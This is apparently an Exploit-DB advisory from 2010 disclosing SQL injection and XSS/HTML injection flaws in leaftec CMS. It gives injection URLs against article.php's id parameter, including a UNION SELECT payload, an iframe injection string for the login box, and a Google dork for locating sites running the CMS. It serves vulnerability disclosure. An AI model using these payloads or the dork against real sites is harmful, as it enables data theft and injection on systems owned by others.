leaftec cms multiple vulnerabilities

vendor:

leaftec cms

by:

Valentin HÃ¶bel

5.5

CVSS

MEDIUM

Multiple vulnerabilities

CWE

Product Name: leaftec cms

Affected Version From:

Affected Version To:

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: Debian etch

2010

leaftec cms multiple vulnerabilities

The leaftec cms is vulnerable to SQL Injection and XSS/HTML Code Injection. The SQL Injection vulnerability can be exploited by manipulating the 'id' parameter in the 'article.php' file. The XSS/HTML Code Injection vulnerability allows an attacker to inject malicious HTML or JavaScript code, which is then executed on the website. Examples of both vulnerabilities are provided in the text.

Mitigation:

Upgrade to version XX or higher if available.

Source

Exploit-DB raw data:

# Exploit Title: leaftec cms multiple vulnerabilities
# Date: 21.03.2010
# Author: Valentin HÃ¶bel
# Version: 
# Tested on: Debian etch 
# CVE :  
# Code : 



:: General information
:: leaftec cms multiple vulnerabilities discovered
:: by Valentin HÃ¶bel
:: valentin@xenuser.org

:: Product information
:: Name = leaftec cms
:: Vendor = leaftec
:: Vendor Website = http://www.leaftec.de/
:: About the product = http://www.leaftec.de/serv_cms.php
:: Affected versions = 
:: Google dork: e.g. "Â© 2006 leaftec Design"


:: Vulnerabilities

#1 SQL Injection
Sadly the CMS is not available for free download but some German companies are using it.
leaftec cms contains a blog feature which displays written content, file: article.php. 

Vulnerable URL:
http://www.some-cool-domain.tld/article.php?id=XX

Examples for testing and injecting SQL stuff:
http://www.some-cool-domain.tld/article.php?id='
http://www.some-cool-domain.tld/article.php?id="
http://www.some-cool-domain.tld/article.php?id=XX+AND+1=2+UNION+SELECT+1,2,3,4,5,concat(version()),7--
(Tested on a live website using leaftec cms.)
--------------------------------------------------------------------------------------------------------


#2 XSS / HTML Code Injection
Several parts of the CMS allow HTML and Java Script code injection, e.g. the login box.
After submitting the form the cms puts a red border around the login and password field but
also implements the injected code into the website.

Example for HTML code:
"><iframe src=http://www.google.de></iframe>
--------------------------------------------------------------------------------------------------------



:: Additional information
:: Vendor contacted = 21.03.2010
:: Vulnerabilities fixed = no reply received
:: Solution = Upgrade to version XX or higher if available